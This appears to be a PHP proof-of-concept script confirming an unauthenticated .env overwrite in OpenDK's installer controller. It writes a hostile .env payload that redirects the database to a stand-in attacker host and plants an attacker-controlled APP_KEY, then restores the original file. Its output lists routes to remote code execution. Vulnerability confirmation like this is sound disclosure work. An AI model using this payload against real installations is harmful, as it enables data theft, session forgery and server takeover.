<?php
/**
 * Full POC Test for ZDI-004
 * Simulates the exact code flow in InstallerController::environmentSaveClassic()
 */

require_once '/home/c/ZERODAY/lab/target/opendk/vendor/autoload.php';

$app = require_once '/home/c/ZERODAY/lab/target/opendk/bootstrap/app.php';
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$kernel->bootstrap();

// Check if sudahInstal() returns true (app is installed)
echo "=== ZDI-004 Full POC Test ===\n\n";

$installed = function_exists('sudahInstal') ? sudahInstal() : 'function not found';
echo "1. sudahInstal() returns: " . ($installed === true ? 'true (INSTALLED)' : ($installed === false ? 'false' : $installed)) . "\n\n";

// Simulate the vulnerable endpoint behavior
echo "2. Testing vulnerable code path (InstallerController.php:253-279)\n";
echo "   The method environmentSaveClassic() does NOT check sudahInstal()\n\n";

// The exact vulnerable code from InstallerController.php:253-279
// public function environmentSaveClassic(Request $request)
// {
//     $request->validate(['envConfig' => 'required|string']);
//     $envPath = base_path('.env');
//     file_put_contents($envPath, $request->envConfig);  // <-- VULNERABLE LINE
// }

$envPath = base_path('.env');
$originalContent = file_get_contents($envPath);
$originalHash = md5($originalContent);

echo "3. Original .env hash: $originalHash\n";
echo "   Path: $envPath\n\n";

// Attacker payload
$attackerPayload = <<<ENV
APP_NAME=PWNED_BY_ZDI004
APP_ENV=production
APP_KEY=base64:ATTACKER_CONTROLLED_KEY_HERE
APP_DEBUG=true
APP_URL=http://attacker.com

DB_CONNECTION=mysql
DB_HOST=attacker-mysql-server.com
DB_PORT=3306
DB_DATABASE=stolen_data
DB_USERNAME=attacker
DB_PASSWORD=attacker_password
ENV;

echo "4. Writing attacker payload to .env...\n";

// This is the vulnerable code - file_put_contents without sudahInstal() check
$bytesWritten = file_put_contents($envPath, $attackerPayload);

if ($bytesWritten !== false) {
    $newContent = file_get_contents($envPath);
    $newHash = md5($newContent);
    
    echo "   SUCCESS: Wrote $bytesWritten bytes\n";
    echo "   New .env hash: $newHash\n\n";
    
    echo "5. === PWNED .ENV CONTENT ===\n";
    echo $newContent;
    echo "\n\n";
    
    echo "6. === VULNERABILITY CONFIRMED ===\n";
    echo "   - sudahInstal() returns TRUE (app is installed)\n";
    echo "   - But environmentSaveClassic() does NOT check it\n";
    echo "   - Attacker can overwrite .env on installed system\n";
    echo "   - This leads to RCE via multiple vectors:\n";
    echo "     * DB_HOST hijack to attacker MySQL\n";
    echo "     * APP_KEY compromise for session forgery\n";
    echo "     * LOG_CHANNEL injection for command execution\n\n";
    
    // Restore original .env
    file_put_contents($envPath, $originalContent);
    echo "7. Original .env restored for safety.\n";
} else {
    echo "   FAILED to write file\n";
}
